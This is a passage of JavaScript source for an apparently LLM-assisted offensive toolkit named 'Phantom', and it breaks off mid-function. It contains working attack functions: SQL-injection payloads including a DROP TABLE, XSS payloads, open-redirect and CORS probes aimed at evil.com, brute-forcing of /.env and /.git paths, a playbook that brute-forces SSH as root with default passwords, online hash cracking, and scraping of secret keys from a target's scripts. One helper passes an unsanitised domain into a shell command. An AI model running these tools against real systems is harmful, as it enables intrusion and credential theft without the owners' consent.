const parts = input.split("|"); const name = (parts[0] || `report_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); const content = parts.slice(1).join("|") || input; if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); const fp = resolve(REPORTS_DIR, `${name}.md`); fs.writeFileSync(fp, content, "utf-8"); return `📄 Report saved: ${fp}`; }, session_save: async (name) => { const sessionsDir = resolve(BASE_DIR, "sessions"); try { if (!fs.existsSync(sessionsDir)) fs.mkdirSync(sessionsDir, { recursive: true }); const slug = name.replace(/[^a-z0-9_-]/gi, "_"); const data = { name, created: new Date().toISOString(), tools: Object.keys(hackerTools).length }; fs.writeFileSync(resolve(sessionsDir, `${slug}.json`), JSON.stringify(data, null, 2), "utf-8"); return `✅ Session saved: ${slug}`; } catch (e) { return `[Session Error] ${e.message}`; } }, session_load: async (name) => { const sessionsDir = resolve(BASE_DIR, "sessions"); try { const slug = name.replace(/[^a-z0-9_-]/gi, "_"); const fp = resolve(sessionsDir, `${slug}.json`); if (!fs.existsSync(fp)) return `[Session] Not found: ${name}`; const data = JSON.parse(fs.readFileSync(fp, "utf-8")); return `📂 Session: ${data.name}\nCreated: ${data.created}\nTools: ${data.tools}`; } catch (e) { return `[Session Error] ${e.message}`; } }, code_gen: async (input) => { const parts = input.split("|"); const [prompt, lang = "javascript", outPath = ""] = parts; const llm = __r.llmInstance; if (!llm || !llm.chat) { const stub = `// ${prompt}\n// Language: ${lang}\nfunction ${(prompt||"").replace(/[^a-z]/gi, "")}() {\n // TODO\n}\n`; if (outPath) { fs.writeFileSync(resolve(outPath), stub, "utf-8"); return `✅ Stub written to ${outPath}`; } return stub; } try { const code = await llm.chat([ { role: "system", content: `Generate only ${lang} code. No explanations. No markdown.` }, { role: "user", content: prompt } ], { model: llm.defaultModel || "deepseek-v4-flash-free" }); if (code.startsWith("[") && code.includes("]")) return `[Code Gen] LLM error: ${code.substring(0, 200)}`; // Strip markdown code fences if present const clean = code.replace(/^```\w*\n?/gm, "").replace(/```$/gm, "").trim(); if (outPath) { fs.writeFileSync(resolve(outPath), clean, "utf-8"); return `✅ Generated ${code.length} chars → ${outPath}`; } return code; } catch (e) { return `[Code Gen Error] ${e.message}`; } }, self_add_tool: async (prompt) => { const llm = __r.llmInstance; if (!llm || !llm.chat) return "[Self Add] No LLM provider configured. Use @llm_config to set one up."; try { const result = await llm.chat([ { role: "system", content: `Generate a Node.js async function taking a string input and returning Promise. Name it after the tool purpose. No markdown. Only code, no explanations.` }, { role: "user", content: `Tool that: ${prompt}` } ], { model: llm.defaultModel || "deepseek-v4-flash-free" }); if (result.startsWith("[") && result.includes("]")) return `[Self Add] LLM error: ${result.substring(0, 200)}`; // Strip markdown code fences const clean = result.replace(/^```\w*\n?/gm, "").replace(/```$/gm, "").trim(); const toolName = clean.match(/async function\s+(\w+)/)?.[1] || "newTool"; const genDir = resolve(BASE_DIR, "generated"); if (!fs.existsSync(genDir)) fs.mkdirSync(genDir, { recursive: true }); fs.writeFileSync(resolve(genDir, `${toolName}.ts`), clean, "utf-8"); return `🎯 Generated tool "${toolName}" at ${genDir}/${toolName}.ts\nIntegrate: paste function into lib/tools.mjs, add to phantom.mjs registry\n\n${clean.substring(0, 600)}`; } catch (e) { return `[Self Add Error] ${e.message}`; } }, // ── KNOWLEDGE BASE ── knowledge_add: async (input) => { try { const parts = input.split("|"); const tags = (parts[0] || "general").split(",").map(t => t.trim()).filter(Boolean); const content = parts.slice(1).join("|").trim(); if (!content) return "[Knowledge] Usage: tags|content"; if (!fs.existsSync(KNOWLEDGE_DIR)) fs.mkdirSync(KNOWLEDGE_DIR, { recursive: true }); const slug = tags[0].replace(/[^a-z0-9_-]/gi, "_") + "_" + Date.now(); fs.writeFileSync(resolve(KNOWLEDGE_DIR, `${slug}.json`), JSON.stringify({ tags, content, created: new Date().toISOString() }, null, 2), "utf-8"); return `📚 Knowledge saved (tags: ${tags.join(", ")})`; } catch (e) { return `[Knowledge Error] ${e.message}`; } }, knowledge_search: async (input) => { try { if (!fs.existsSync(KNOWLEDGE_DIR)) return "[Knowledge] Empty"; const q = input.toLowerCase().trim(); const results = fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".json")).map(f => { const d = JSON.parse(fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8")); return !q || d.tags.some(t => t.toLowerCase().includes(q)) || d.content.toLowerCase().includes(q) ? `[${d.tags.join(", ")}] ${d.content.substring(0, 200)}` : null; }).filter(Boolean); return results.length ? `📚 Knowledge (${results.length}):\n${results.join("\n")}` : `[Knowledge] No results for "${q}"`; } catch (e) { return `[Knowledge Error] ${e.message}`; } }, // ── BRAIN — search across ALL learned knowledge (books + knowledge) ── brain: async (input) => { try { const q = input.toLowerCase().trim(); const lines = []; // Search books/ const { BOOKS_DIR: BD } = await import("./config.mjs"); if (fs.existsSync(BD)) { for (const f of fs.readdirSync(BD).filter(f => f.endsWith(".txt"))) { const content = fs.readFileSync(resolve(BD, f), "utf-8"); if (!q || content.toLowerCase().includes(q)) { const tag = f.replace(".txt", "").replace(/_/g, " "); const matchLines = content.split("\n").filter(l => !q || l.toLowerCase().includes(q)).slice(0, 5); lines.push(`📖 ${tag}:`); for (const l of matchLines) lines.push(` ${l.substring(0, 150)}`); } } } // Search knowledge/ if (fs.existsSync(KNOWLEDGE_DIR)) { for (const f of fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".txt") || f.endsWith(".json"))) { const content = fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8"); if (!q || content.toLowerCase().includes(q)) { const tag = f.replace(/\.[^.]+$/, "").replace(/_/g, " "); const matchLines = content.split("\n").filter(l => !q || l.toLowerCase().includes(q)).slice(0, 3); lines.push(`🔍 ${tag}:`); for (const l of matchLines) lines.push(` ${l.substring(0, 150)}`); } } } if (lines.length === 0) return q ? `[brain] Nothing found for "${q}"` : "[brain] Nothing learned yet. Use tools, read books, or run @study."; return lines.join("\n"); } catch (e) { return `[brain Error] ${e.message}`; } }, // ── HACKBOOK — zero-day taxonomy / security reference ── hackbook: async (input) => { try { const { HACKBOOK_DIR } = await import("./config.mjs"); if (!input || !input.trim()) { // List available topics if (!fs.existsSync(HACKBOOK_DIR)) { fs.mkdirSync(HACKBOOK_DIR, { recursive: true }); return "[hackbook] Empty. Use @hackbook|topic to search taxonomy."; } const files = fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt")); if (files.length === 0) return "[hackbook] No taxonomy files. Seed with @learn_book."; return `📚 Hackbook (${files.length} files):\n${files.map(f => ` ${f.replace(".txt", "")}`).join("\n")}`; } const q = input.toLowerCase().trim(); const results = []; for (const f of fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt"))) { const content = fs.readFileSync(resolve(HACKBOOK_DIR, f), "utf-8"); const lines = content.split("\n"); const matches = lines.filter(l => l.toLowerCase().includes(q)); if (matches.length > 0) { const tag = f.replace(".txt", ""); results.push(`📖 ${tag}:`); for (const m of matches.slice(0, 8)) results.push(` ${m.replace(/^###?\s*/, "").substring(0, 150)}`); } } return results.length > 0 ? results.join("\n") : `[hackbook] Nothing for "${q}". Topics: ${fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt")).map(f => f.replace(".txt", "")).join(", ")}`; } catch (e) { return `[hackbook Error] ${e.message}`; } }, // ── PLAYBOOK SYSTEM ── playbook_list: async () => { try { if (!fs.existsSync(PLAYBOOKS_DIR)) fs.mkdirSync(PLAYBOOKS_DIR, { recursive: true }); // Seed built-ins const BUILTINS = [ { name:"quick_web_recon", description:"Full recon on a web target", variables:["target"], steps:[ {tool:"whois",args:"{{target}}",desc:"WHOIS"},{tool:"dns_lookup",args:"{{target}}",desc:"DNS"},{tool:"sub_enum",args:"{{target}}",desc:"Subdomains"},{tool:"port_scan",args:"{{target}}",desc:"Ports"},{tool:"http_headers",args:"https://{{target}}",desc:"Headers"},{tool:"ssl_check",args:"{{target}}",desc:"SSL"} ]}, { name:"vuln_assessment", description:"Full vuln assessment: recon + CVE + exploits", variables:["target"], steps:[ {tool:"recon",args:"{{target}}",desc:"Recon sweep"},{tool:"cve_search",args:"{{target}}",desc:"CVEs"},{tool:"searchsploit",args:"{{target}}",desc:"Exploits"},{tool:"bruteforce",args:"ssh|{{target}}|root|admin,root,password",desc:"SSH brute"} ]}, { name:"network_footprint", description:"Map network footprint: DNS, whois, geo, ports, crawl", variables:["target"], steps:[ {tool:"dns_lookup",args:"{{target}}",desc:"DNS"},{tool:"whois",args:"{{target}}",desc:"WHOIS"},{tool:"port_scan",args:"{{target}}",desc:"Ports"},{tool:"crawl",args:"https://{{target}}",desc:"Crawl"} ]}, { name:"full_vulnscan_report", description:"Auto vuln_scan + save report + session", variables:["target"], steps:[ {tool:"vuln_scan",args:"{{target}}",desc:"Full scan"},{tool:"session_save",args:"scan_{{target}}",desc:"Save session"} ]}, ]; for (const pb of BUILTINS) { const fp = resolve(PLAYBOOKS_DIR, `${pb.name}.json`); if (!fs.existsSync(fp)) fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); } const files = fs.readdirSync(PLAYBOOKS_DIR).filter(f => f.endsWith(".json")); if (!files.length) return "[Playbook] No playbooks found"; const lines = files.map(f => { const pb = JSON.parse(fs.readFileSync(resolve(PLAYBOOKS_DIR, f), "utf-8")); return `📋 ${pb.name} — ${(pb.description||"").substring(0, 80)} (${(pb.steps||[]).length} steps)`; }); return `Available playbooks (${files.length}):\n${lines.join("\n")}`; } catch (e) { return `[Playbook Error] ${e.message}`; } }, playbook_create: async (input) => { try { const parts = input.split("|"); const name = (parts[0] || `pb_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); const desc = parts[1] || "Auto-generated"; const stepsRaw = parts.slice(2).join("|") || ""; const apiKey = process.env.OPENAI_API_KEY; if (apiKey && !stepsRaw) { try { const r = await fetch("https://api.openai.com/v1/chat/completions", { method:"POST", headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}, body:JSON.stringify({model:"gpt-4o-mini",messages:[{role:"system",content:"Generate a JSON playbook. Format: {name,description,variables:[\"target\"],steps:[{tool,args,desc}]}. Only valid JSON."},{role:"user",content:`Create playbook: ${desc}`}],max_tokens:1000}), signal:AbortSignal.timeout(30000), }); const d = await r.json(); const pb = JSON.parse(d?.choices?.[0]?.message?.content || "{}"); if (pb.steps) { pb.name = name; pb.description = desc; fs.writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify(pb, null, 2), "utf-8"); return `✅ LLM-created playbook: ${name} (${pb.steps.length} steps)`; } } catch {} } const steps = stepsRaw ? stepsRaw.split(",").map(s => ({tool:"shell",args:s.trim(),desc:s.trim()})) : [{tool:"shell",args:"echo hello",desc:"Default step"}]; fs.writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify({name,description:desc,variables:["target"],steps}, null, 2), "utf-8"); return `📋 Playbook created: ${name} (${steps.length} steps)`; } catch (e) { return `[Playbook Error] ${e.message}`; } }, playbook_run: async (input) => { try { const parts = input.split("|"); const name = parts[0]?.trim(); if (!name) return "[Playbook] Usage: playbook_run|name|target=example.com"; const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); if (!fs.existsSync(fp)) return `[Playbook] Not found: ${name}`; const pb = JSON.parse(fs.readFileSync(fp, "utf-8")); const vars = {}; if (parts[1]) parts[1].split(",").forEach(p => { const [k,v] = p.split("="); if (k && v) vars[k.trim()] = v.trim(); }); const log = [`Executing: ${pb.name}`, `Description: ${pb.description}`, `---`, ``]; for (let i = 0; i < pb.steps.length; i++) { const s = pb.steps[i]; let args = s.args; for (const [k, v] of Object.entries(vars)) args = args.replace(new RegExp(`\\{\\{${k}\\}\\}`, "g"), v); log.push(`Step ${i+1}/${pb.steps.length}: @${s.tool}|${args} — ${s.desc}`); try { if (!hackerTools[s.tool]) { log.push(` ⚠ Unknown tool: ${s.tool}`); continue; } const r = await hackerTools[s.tool](args); log.push(` ${r.substring(0, 1000)}`); if (r.length > 1000) log.push(` … (${r.length} total)`); } catch (e) { log.push(` ⚠ Error: ${e.message}`); } log.push(``); } log.push(`---\n✅ "${pb.name}" complete (${pb.steps.length} steps)`); return log.join("\n"); } catch (e) { return `[Playbook Error] ${e.message}`; } }, playbook_edit: async (input) => { try { const parts = input.split("|"); const name = parts[0]?.trim(); if (!name) return "[Playbook] Usage: playbook_edit|name|step|tool|args|desc"; const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); if (!fs.existsSync(fp)) return `[Playbook] Not found: ${name}`; const pb = JSON.parse(fs.readFileSync(fp, "utf-8")); if (parts[1] === "desc" && parts[2]) { pb.description = parts[2]; fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Description updated`; } if (parts[1] === "add" && parts[2]) { pb.steps.push({tool:parts[2],args:parts[3]||"",desc:parts[4]||parts[2]}); fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Step added`; } const idx = parseInt(parts[1]) - 1; if (isNaN(idx) || idx < 0 || idx >= pb.steps.length) return `[Playbook] Invalid step. Steps: 1-${pb.steps.length}`; if (parts[2]) pb.steps[idx].tool = parts[2]; if (parts[3]) pb.steps[idx].args = parts[3]; if (parts[4]) pb.steps[idx].desc = parts[4]; fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Step ${idx+1} updated: @${pb.steps[idx].tool}|${pb.steps[idx].args}`; } catch (e) { return `[Playbook Error] ${e.message}`; } }, // ── RECON TOOLS ── geoip: async (ip) => { try { const r = await fetch(`http://ip-api.com/json/${ip.trim()}?fields=status,country,regionName,city,zip,lat,lon,isp,org,as,query`, {signal:AbortSignal.timeout(8000)}); const d = await r.json(); if (d.status === "fail") return `[GeoIP] ${d.message || "Unknown"}`; return `🌍 GeoIP: ${d.query}\nCountry: ${d.country}\nRegion: ${d.regionName}\nCity: ${d.city}\nZIP: ${d.zip}\nCoordinates: ${d.lat}, ${d.lon}\nISP: ${d.isp}\nOrg: ${d.org}\nASN: ${d.as}`; } catch (e) { return `[GeoIP Error] ${e.message}`; } }, dns_zone: async (input) => { try { const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const nsResp = await fetch(`https://dns.google/resolve?name=${domain}&type=NS`, {signal:AbortSignal.timeout(8000)}); const nsData = await nsResp.json(); const nsList = (nsData?.Answer||[]).map(a => a.data.replace(/\.$/, "")); if (!nsList.length) return "[DNS Zone] No NS records found"; const results = [`Testing ${nsList.length} NS for zone transfer on ${domain}:`,``]; for (const ns of nsList) { try { const r = await fetch(`https://dns.google/resolve?name=${domain}&type=AXFR&nameserver=${ns}`, {signal:AbortSignal.timeout(10000)}); const d = await r.json(); if (d?.Answer?.length > 0) { results.push(`⚠ VULNERABLE: ${ns} returned ${d.Answer.length} records!`); d.Answer.forEach(a => results.push(` ${a.name} ${a.type} ${a.data}`)); } else results.push(`✅ ${ns} — zone transfer denied`); } catch { results.push(`⏰ ${ns} — timeout/error`); } } return results.join("\n"); } catch (e) { return `[DNS Zone Error] ${e.message}`; } }, http_methods: async (input) => { try { const url = input.startsWith("http") ? input : `https://${input}`; const methods = ["GET","POST","PUT","DELETE","OPTIONS","PATCH","HEAD","TRACE","CONNECT"]; const results = [`Testing HTTP methods on ${url}:`,``]; for (const method of methods) { try { const r = await fetch(url, {method, signal:AbortSignal.timeout(5000)}); const allow = r.headers.get("allow") || r.headers.get("access-control-allow-methods") || ""; results.push(` ${method} → ${r.status}${allow ? ` (Allow: ${allow})` : ""}`); } catch (e) { results.push(` ${method} → Error: ${(e.message||"").substring(0,60)}`); } } return results.join("\n"); } catch (e) { return `[HTTP Methods Error] ${e.message}`; } }, robots_txt: async (input) => { try { const base = input.startsWith("http") ? input : `https://${input}`; const url = `${base.replace(/\/+$/, "")}/robots.txt`; const r = await fetch(url, {signal:AbortSignal.timeout(8000)}); if (r.status === 404) return `[robots.txt] Not found at ${url}`; const text = await r.text(); const disallowed = text.match(/Disallow:\s*(.+)/gi) || []; const sitemaps = text.match(/Sitemap:\s*(.+)/gi) || []; return `🤖 robots.txt from ${url}:\n---\n${text.substring(0,2000)}${disallowed.length ? `\n\n🚫 Disallowed (${disallowed.length}):\n${disallowed.join("\n")}` : ""}${sitemaps.length ? `\n\n🗺 Sitemaps (${sitemaps.length}):\n${sitemaps.join("\n")}` : ""}`; } catch (e) { return `[robots.txt Error] ${e.message}`; } }, email_verify: async (input) => { try { const email = input.trim().toLowerCase(); if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[Email] Invalid: ${email}`; const domain = email.split("@")[1]; const r = await fetch(`https://dns.google/resolve?name=${domain}&type=MX`, {signal:AbortSignal.timeout(8000)}); const d = await r.json(); const mxs = (d?.Answer||[]).filter(a => a.type === 15).map(a => a.data.replace(/\.$/, "")); return mxs.length ? `✅ ${email}\nDomain: ${domain}\nMX: ${mxs.join(", ")}` : `✅ Format valid, but no MX for ${domain}`; } catch (e) { return `[Email Error] ${e.message}`; } }, reverse_dns: async (ip) => { try { const r = await fetch(`https://dns.google/resolve?name=${ip.trim()}&type=PTR`, {signal:AbortSignal.timeout(8000)}); const d = await r.json(); const ptrs = (d?.Answer||[]).filter(a => a.type === 12).map(a => a.data); return ptrs.length ? `🔁 PTR for ${ip}:\n${ptrs.join("\n")}` : `[Reverse DNS] No PTR for ${ip}`; } catch (e) { return `[Reverse DNS Error] ${e.message}`; } }, wayback: async (input) => { try { const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const r = await fetch(`https://web.archive.org/cdx/search/cdx?url=${domain}/*&output=json&limit=20&fl=timestamp,original,statuscode`, {signal:AbortSignal.timeout(15000)}); const d = await r.json(); if (!Array.isArray(d) || d.length < 2) return `[Wayback] No snapshots for ${domain}`; return `🗄 Wayback: ${domain} (${d.length - 1} snapshots)\n${d.slice(1).map(row => ` ${row[0].substring(0,8)} ${row[2]||"—"} ${row[1]}`).join("\n")}`; } catch (e) { return `[Wayback Error] ${e.message}`; } }, cert_expiry: async (input) => { try { const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const {execSync} = await import("child_process"); const raw = execSync(`openssl s_client -connect ${domain}:443 -servername ${domain} /dev/null | openssl x509 -noout -dates`, {timeout:10000,encoding:"utf-8"}); if (!raw.trim()) return `[Cert Expiry] No cert for ${domain}`; const nb = raw.match(/notBefore=(.+)/)?.[1] || "?"; const na = raw.match(/notAfter=(.+)/)?.[1] || "?"; const days = na !== "?" ? Math.round((new Date(na).getTime()-Date.now())/86400000) : NaN; return `🔒 ${domain}\nIssued: ${nb}\nExpires: ${na}${!isNaN(days)?`\nDays left: ${days}`:""}`; } catch (e) { return `[Cert Expiry Error] ${e.message}`; } }, cors_test: async (input) => { try { const url = input.startsWith("http") ? input : `https://${input}`; const origins = ["https://evil.com","null","https://attacker.org","https://example.com",""]; const r = [`🔓 CORS test: ${url}\n`]; for (const origin of origins) { try { const resp = await fetch(url, {method:"GET", headers:origin?{Origin:origin}:{}, signal:AbortSignal.timeout(5000)}); const acao = resp.headers.get("access-control-allow-origin") || "—"; const creds = resp.headers.get("access-control-allow-credentials") || ""; r.push(` Origin: ${origin||"(none)"} → ACAO: ${acao}${creds?`, Credentials: ${creds}`:""}`); } catch (e) { r.push(` Origin: ${origin} → ${(e.message||"").substring(0,50)}`); } } if (r.some(l => l.includes("*") || (l.includes("evil.com")&&l.includes("https://evil.com")))) r.push(`\n⚠ Vulnerable to CORS attacks!`); return r.join("\n"); } catch (e) { return `[CORS Error] ${e.message}`; } }, jwt_decode: async (input) => { try { const parts = input.trim().split("."); if (parts.length !== 3) return `[JWT] Expected 3 parts, got ${parts.length}`; const b64u = s => s.replace(/-/g,"+").replace(/_/g,"/"); const decode = s => { try { return JSON.stringify(JSON.parse(Buffer.from(b64u(s),"base64").toString()),null,2); } catch { return Buffer.from(b64u(s),"base64").toString(); } }; return `🔐 JWT\n── Header ──\n${decode(parts[0])}\n── Payload ──\n${decode(parts[1])}\n── Signature ──\n${parts[2].substring(0,40)}…`; } catch (e) { return `[JWT Error] ${e.message}`; } }, hash_crack: async (input) => { try { const hash = input.trim(); if (/^[a-f0-9]{32}$/i.test(hash)) { const r = await fetch(`https://www.nitrxgen.net/api/md5/${hash}`, {signal:AbortSignal.timeout(10000)}); const text = await r.text(); if (text?.trim()) return `🔓 MD5 cracked: ${hash} → ${text.trim()}`; } return `[Hash Crack] Not found: ${hash}. Supports MD5.`; } catch (e) { return `[Hash Crack Error] ${e.message}`; } }, dir_bruteforce: async (input) => { try { const url = input.startsWith("http") ? input.replace(/\/+$/, "") : `https://${input.replace(/\/+$/, "")}`; const paths = ["/admin","/api","/.git","/.env","/backup","/wp-admin","/login","/config","/robots.txt","/.htaccess","/phpinfo.php","/test","/uploads","/debug","/graphql","/swagger","/api/v1","/health","/actuator","/console","/jenkins","/phpmyadmin","/cgi-bin","/server-status","/shell","/crossdomain.xml","/.well-known/security.txt","/metrics","/dump","/logs"]; const results = (await Promise.allSettled(paths.map(async p => { try { const r = await fetch(url + p, {signal:AbortSignal.timeout(5000)}); if (r.status !== 404) return ` ${r.status} ${url}${p}`; } catch {} return null; }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); return results.length ? `🔍 Dir Bruteforce — ${results.length} hits on ${url}\n${results.join("\n")}` : `[DirBrute] No paths at ${url}`; } catch (e) { return `[DirBrute Error] ${e.message}`; } }, xss_scan: async (input) => { try { const url = input.startsWith("http") ? input : `https://${input}`; const payloads = ["", "\">", "'\">", "{{constructor.constructor('alert(1)')()}}", "'';!--\"=&{()}"]; const results = (await Promise.allSettled(payloads.map(async p => { try { const tu = (url.includes("?") ? url + "&" : url + "?") + "q=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(5000)}); const t = await r.text(); if (t.includes(p.substring(0,15))) return ` ⚠ ${p.substring(0,25)} reflected`; } catch {} return null; }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); return results.length ? `🚨 XSS — ${results.length} reflection(s) on ${url}\n${results.join("\n")}` : `[XSS] No reflection at ${url}`; } catch (e) { return `[XSS Error] ${e.message}`; } }, sql_detect: async (input) => { try { const url = input.startsWith("http") ? input : `https://${input}`; const payloads = ["' OR '1'='1", "' OR 1=1--", "' UNION SELECT 1--", "' AND 1=1--", "' AND SLEEP(3)--", "'; DROP TABLE users--", "' OR '1'='1' /*"]; const results = (await Promise.allSettled(payloads.map(async p => { try { const tu = url.includes("?") ? url.replace(/([=?&])[^=&]+$/, "$1" + encodeURIComponent(p)) : url + "?id=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(8000)}); const t = (await r.text().catch(() => "")).toLowerCase(); if (["sql","mysql","sqlite","syntax","unclosed","quotation","jdbc"].some(s => t.includes(s))) return ` ⚠ ${p.substring(0,20)} → SQL error`; } catch {} return null; }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); return results.length ? `⚠️ SQLi — ${results.length} injection(s) on ${url}\n${results.join("\n")}` : `[SQLi] No errors at ${url}`; } catch (e) { return `[SQLi Error] ${e.message}`; } }, open_redirect: async (input) => { try { const url = input.startsWith("http") ? input : `https://${input}`; const params = ["url","redirect","redirect_uri","return","return_to","r","next","target","redir","dest","out","to","go","callback","ref"]; const results = (await Promise.allSettled(params.map(async p => { try { const tu = (url.includes("?") ? url + "&" : url + "?") + p + "=https://evil.com"; const r = await fetch(tu, {redirect:"manual",signal:AbortSignal.timeout(5000)}); if ((r.headers.get("location")||"").includes("evil.com")) return ` ⚠ ${p}= → external redirect`; } catch {} return null; }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); return results.length ? `🔀 Redirect — ${results.length} open redirect(s)\n${results.join("\n")}` : `[OpenRedirect] None at ${url}`; } catch (e) { return `[OpenRedirect Error] ${e.message}`; } }, shodan_search: async (input) => { const key = process.env.SHODAN_API_KEY; if (!key) return `[Shodan] Set SHODAN_API_KEY env var`; try { const r = await fetch(`https://api.shodan.io/shodan/host/search?key=${key}&query=${encodeURIComponent(input.trim())}&limit=10`, {signal:AbortSignal.timeout(15000)}); const d = await r.json(); if (!d.matches?.length) return `[Shodan] No results for "${input}"`; return `🌐 Shodan — ${d.total} result(s)\n${d.matches.slice(0,10).map(m => ` ${m.ip_str}:${m.port} ${m.transport||""} ${(m.product||m.data||"").substring(0,50)}`).join("\n")}`; } catch (e) { return `[Shodan Error] ${e.message}`; } }, email_breach: async (input) => { try { const email = input.trim().toLowerCase(); if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[EmailBreach] Invalid email`; const key = process.env.HIBP_API_KEY; if (!key) return `[EmailBreach] Set HIBP_API_KEY env var`; const r = await fetch(`https://haveibeenpwned.com/api/v3/breachedaccount/${encodeURIComponent(email)}?truncateResponse=true`, {headers:{"hibp-api-key":key,"User-Agent":"Phantom"}, signal:AbortSignal.timeout(10000)}); if (r.status === 404) return `🔒 ${email} — No known breaches ✅`; if (r.status === 200) { const b = await r.json(); return `⚠️ ${email} — ${b.length} breach(es)\n${b.slice(0,10).map(x => ` 🔴 ${x.Name} (${x.BreachDate||"?"})`).join("\n")}`; } return `[EmailBreach] HTTP ${r.status}`; } catch (e) { return `[EmailBreach Error] ${e.message}`; } }, github_dork: async (input) => { try { const r = await fetch(`https://api.github.com/search/code?q=${encodeURIComponent(input.trim())}&per_page=10`, {headers:{"Accept":"application/vnd.github.v3+json","User-Agent":"Phantom-Cyber"}, signal:AbortSignal.timeout(15000)}); if (r.status === 403) return `[GitHubDork] Rate limited. Try again.`; const d = await r.json(); if (!d.items?.length) return `[GitHubDork] No results for "${input}"`; return `🔍 GitHub Dork — ${d.total_count} result(s)\n${d.items.slice(0,10).map(i => ` 📄 ${i.repository?.full_name||"?"}/${i.name}`).join("\n")}`; } catch (e) { return `[GitHubDork Error] ${e.message}`; } }, sub_takeover: async (input) => { try { const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const r = await fetch(`https://dns.google/resolve?name=${domain}&type=CNAME`, {signal:AbortSignal.timeout(8000)}); const d = await r.json(); const cnames = d?.Answer?.filter(a => a.type === 5).map(a => a.data) || []; if (!cnames.length) return `[SubTakeover] No CNAME for ${domain}`; const svcs = {"cloudfront.net":"AWS CloudFront","s3.amazonaws.com":"AWS S3","github.io":"GitHub Pages","herokuapp.com":"Heroku","azurewebsites.net":"Azure","trafficmanager.net":"Azure TM","pantheonsite.io":"Pantheon","squarespace.com":"Squarespace","zendesk.com":"Zendesk","freshdesk.com":"Freshdesk","helpscout.net":"Help Scout","readme.io":"ReadMe","unbounce.com":"Unbounce","statuspage.io":"Statuspage"}; const lines = cnames.map(c => { const s = Object.entries(svcs).find(([k]) => c.includes(k)); return s ? ` ⚠ → ${c.trim()} — ${s[1]} takeover!` : ` ℹ → ${c.trim()}`; }); return `🔍 Subdomain Takeover — ${domain}\n${lines.join("\n")}`; } catch (e) { return `[SubTakeover Error] ${e.message}`; } }, // ── JS BUNDLE ANALYZER ── js_analyze: async (input) => { try { const url = input.trim(); if (!url) return "[js_analyze] Usage: js_analyze|https://target.com/app.js"; const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); if (!r.ok) return `[js_analyze] HTTP ${r.status}`; const code = await r.text(); if (code.length > 500000) return "[js_analyze] File too large (>500KB), use narrower scope"; const findings = []; const keyPatterns = [ [/AIza[0-9A-Za-z_-]{35}/g, "Google API key"], [/sk-[0-9a-zA-Z]{32,}/g, "OpenAI API key"], [/ghp_[0-9a-zA-Z]{36}/g, "GitHub token"], [/sk_live_[0-9a-zA-Z]{24,}/g, "Stripe live key"], [/AKIA[0-9A-Z]{16}/g, "AWS access key"], [/-----BEGIN (RSA |EC )?PRIVATE KEY-----/g, "Private key"], [/xox[baprs]-[0-9a-zA-Z-]{24,}/g, "Slack token"], [/mongodb(\+srv)?:\/\/[^\s\"'`<>]+/g, "MongoDB URL"], ]; for (const [re, label] of keyPatterns) { const matches = code.match(re); if (matches) findings.push(` \u26a0 ${label}: ${matches.slice(0,3).map(m => m.length>40?m.substring(0,37)+"...":m).join(", ")}`); } const apiEndpoints = [...new Set([...code.matchAll(/["'\`](\/[a-zA-Z0-9_\/.-]+\/api\/[a-zA-Z0-9_\/.-]+)["'\`]/g)].map(m=>m[1]))]; if (apiEndpoints.length>0) findings.push(` \u{1F4E1} Endpoints: ${apiEndpoints.slice(0,10).join(", ")}`); const xssSinks = [...new Set([...code.matchAll(/(innerHTML|outerHTML|document\.write|eval\(|dangerouslySetInnerHTML)/g)].map(m=>m[1]))]; if (xssSinks.length>0) findings.push(` \u{1F489} XSS sinks: ${xssSinks.slice(0,5).join(", ")}`); const comments = code.match(/\/\/\s*(TODO|FIXME|HACK|XXX|BUG|SECURITY|API_KEY|PASSWORD|TOKEN)\s*[:=]?/gi); if (comments) findings.push(` \u{1F4DD} Comments (${[...new Set(comments)].length})`); if (!findings.length) return `[js_analyze] No secrets/endpoints in ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)`; return `\u{1F52C} JS Analysis: ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)\n${findings.join("\n")}`; } catch (e) { return `[js_analyze Error] ${e.message}`; } }, // ── FILE UPLOAD TESTER — XXE, polyglot ── upload_test: async (input) => { try { const parts = input.split("|").map(s=>s.trim()); const url = parts[0]||""; const mode = (parts[1]||"xxe").toLowerCase(); if (!url) return "[upload_test] Usage: upload_test|https://target/upload|xxe\nModes: xxe, 